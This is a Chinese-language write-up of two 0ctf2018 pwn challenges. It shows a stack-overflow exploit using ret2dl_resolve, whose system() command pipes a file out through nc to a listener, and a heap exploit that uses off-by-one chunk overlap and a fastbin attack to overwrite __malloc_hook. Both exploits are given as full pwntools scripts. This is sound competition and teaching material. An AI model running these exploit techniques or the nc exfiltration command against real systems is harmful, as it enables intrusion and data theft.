1. 程式人生 > >0ctf2018 pwn

0ctf2018 pwn

stack .so 過濾 cat head arc 大小 overlap offset

前言

0ctf2018pwn 做一個總結

正文

babystack

漏洞

非常直接的 棧溢出

ssize_t sub_804843B()
{
  char buf; // [esp+0h] [ebp-28h]

  return read(0, &buf, 0x40u);
}

這個題的難點在於 用 python 啟動了該程序同時過濾了 stdoutstdout

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

def proof_of_work():
    chal = ‘‘.join(random.choice(string.letters+string.digits) for _ in xrange(16))
    print chal
    sol = sys.stdin.read(4)
    if len(sol) != 4 or not sha256(chal + sol).digest().startswith(‘\0\0\0‘):
        exit()


def exec_serv(name, payload):
    p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file(‘/dev/null‘,‘w‘), stderr=subprocess.STDOUT)
    p.stdin.write(payload)
    p.wait()

if __name__ == ‘__main__‘:
    proof_of_work()
    payload = sys.stdin.read(0x100)
    exec_serv(‘./babystack‘, payload)

利用

無輸出,使用 ret to dl_resolve.

#coding:utf-8
import sys
sys.path.append(‘./roputils‘)
import roputils
from pwn import *
from hashlib import sha256

context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
fpath = ‘./babystack‘
offset = 44   # 離覆蓋 eip 需要的距離
command_len = 60  # system 執行的命令長度

readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B

p = process(fpath)

rop = roputils.ROP(fpath)
addr_bss = rop.section(‘.bss‘)



# step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = ‘A‘ * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

log.info("首先 rop 調用 read, 往 .bss 布置數據")


buf2 = ‘head exp.py | nc 127.0.0.1 8888\x00‘
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, ‘system‘)
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 處解析出 system 的地址")

#step3 : use dl_resolve_call get system & system(‘/bin/sh‘)
buf3 = ‘A‘*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好後,通過 dl_resolve_call, 調用 system")

p.interactive()

babyheap

漏洞

漏洞位於 update 函數時,可以往分配的內存多寫入一字節的數據

int __fastcall update(obj *table)
{
  unsigned __int64 size; // rax
  signed int idx; // [rsp+18h] [rbp-8h]
  int size_; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  idx = get_num();
  if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
  {
    printf("Size: ");
    LODWORD(size) = get_num();
    size_ = size;
    if ( size > 0 )
    {
      size = table[idx].size + 1;               // size = 分配的內存size + 1
      if ( size_ <= size )
      {
        printf("Content: ");
        read_to_buf(table[idx].heap, size_);    // 可以溢出一個字節
        LODWORD(size) = printf("Chunk %d Updated\n", idx);
      }
    }
  }
  else
  {
    LODWORD(size) = puts("Invalid Index");
  }
  return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然後利用 分配 unsorted bin 的切割機制,拿到 libc 地址
  • 再次 overlap chunk ,構造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一個chunkfd0x61
  • 分配一個 0x40fastbin, 此時 main_arean->fastbin 中就會出現 0x61, 用來 fastbin 攻擊
  • 再次 overlap chunk ,構造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一個 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然後修改 main_arean->top__malloc_hook - 0x10, 然後分配內存,修改 __malloc_hookone_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import *
context.terminal = [‘tmux‘, ‘splitw‘, ‘-h‘]
context(os=‘linux‘, arch=‘amd64‘, log_level=‘info‘)

env = {"LD_PRELOAD": "./libc-2.24.so"}


# p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127)


def allocate(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))

def update(idx, size, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    sleep(0.1)
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    sleep(0.1)
    p.send(content)


def delete(idx):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def view(idx):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(idx))



code_base = 0x555555554000

gdb_command = ‘‘‘
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
‘‘‘ %(hex(code_base + 0x000FA9))

# gdb.attach(p, gdb_command)
# pause()


allocate(0x18)  # 0
allocate(0x38)  # 1
allocate(0x48)  # 2
allocate(0x18)  # 3

update(0,0x19, "a" * 0x18 + "\x91")
delete(1)

allocate(0x38)  # 1

view(2)
p.recvuntil("]: ")


lib = ELF("./libc-2.24.so")

# libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols[‘__malloc_hook‘] - 0x68

malloc_hook = lib.symbols[‘__malloc_hook‘] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68


one_gad = libc + 0x3f35a

# bins = libc + 0x3c4b78
# bins = malloc_hook

log.info("libc: " + hex(libc))


allocate(0x58)  # 4
allocate(0x28)  # 5
allocate(0x38)  # 6
allocate(0x48)  # 7
allocate(0x18)  # 8
allocate(0x18)  # 9


delete(5)
delete(6)
delete(8)


update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58)  # 4
allocate(0x18)  # 5
allocate(0x48)  # 6


# update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38)  # 8



allocate(0x28)  # 10
allocate(0x18)  # 11
allocate(0x58)  # 12
allocate(0x58)  # 13
# pause()

payload = p64(0x0)
payload += p64(0xc1)

update(7,len(payload), payload)
log.info("make 0x180‘s size 0xc1")
delete(11)
pause()

allocate(0x48)  # 11 
allocate(0x58)  # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12) 
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target))


delete(0)
# delete(1)
delete(2)

allocate(0x58) # 0

allocate(0x58) # 2


payload = ‘a‘ * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3

print hex(len(payload))

update(2, len(payload), payload)
delete(0)

allocate(0x28)

payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2

update(11,len(payload), payload)

allocate(0x28)


update(12, 8, p64(one_gad))

log.info("done")
# pause()

allocate(0x10)

p.interactive()


# x/30xg 0x429C0F050000

0ctf2018 pwn